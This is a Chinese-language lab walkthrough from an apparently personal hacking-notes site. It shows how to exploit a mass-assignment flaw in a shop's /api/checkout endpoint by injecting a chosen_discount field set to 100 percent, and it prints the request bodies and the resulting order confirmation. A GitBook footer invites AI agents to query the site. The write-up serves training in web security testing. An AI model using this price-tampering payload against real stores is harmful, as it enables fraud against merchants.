> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/api-testing/mass-assignment-exploitation.md).

# 批量赋值利用

### 利用批量赋值漏洞

**实验目标**/ 利用批量赋值漏洞在资金不足的情况下购买轻便的 "l33t" 皮夹克。/ 提供的凭据： **wiener / peter**

#### 正常行为观察

当将商品加入购物篮并尝试验证订单时，会向 API 发送请求：

<figure><img src="/files/ccd1d73ee781d8a7c405a77682e3780da47312d5" alt=""><figcaption></figcaption></figure>

**向以下地址发送 POST 请求 `/api/checkout`**/ 请求体仅包含所选商品：

```json
{
    "chosen_products":[
        {
            "product_id":"1",
            "quantity":1
        }
    ]
}
```

然后，当你检查购物篮状态时，会向同一端点发送 GET 请求。

**向以下地址发送 GET 请求 `/api/checkout`**/ 服务器返回的响应为 JSON 格式，并包含额外字段：

```json
{
   "chosen_discount":{
      "percentage":0
   },
   "chosen_products":[
      {
         "product_id":"1",
         "name":"轻便的 /"l33t/" 皮夹克",
         "quantity":1,
         "item_price":133700
      }
   ]
}
```

该 `chosen_discount.percentage` 字段，在初始提交时不受客户端控制，可以被看到。

<figure><img src="/files/3162f44ff4e800b721a53462fb936f9420974bd7" alt=""><figcaption></figcaption></figure>

#### 漏洞利用

当拦截到 **POST `/api/checkout`** 请求时，可以手动添加 `chosen_discount` 字段到请求体中。

**修改后的请求**:

```json
{
   "chosen_discount":{
      "percentage":100
   },
   "chosen_products":[
      {
         "product_id":"1",
         "quantity":1
      }
   ]
}
```

在返回查询时，服务器接受了此更改。

<figure><img src="/files/3ed9e9efb281fef523f70f9a77559c69a35020a0" alt=""><figcaption></figcaption></figure>

#### 结果

服务器对 **100%** 该商品应用了折扣，从而可以零成本完成购买。/ 该命令验证成功，如重定向到以下地址所示：

```bash
/cart/order-confirmation?order-confirmed=true
```

<figure><img src="/files/4a57b3666c978c86f2a42f94f88e2a36803884d1" alt=""><figcaption></figcaption></figure>

#### 结论

此漏洞基于 **批量赋值**，即 API 在未进行适当验证的情况下接受并处理客户端提供的敏感字段。通过注入一个未预期的参数（`chosen_discount`），可以修改业务逻辑并绕过价格控制。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/api-testing/mass-assignment-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.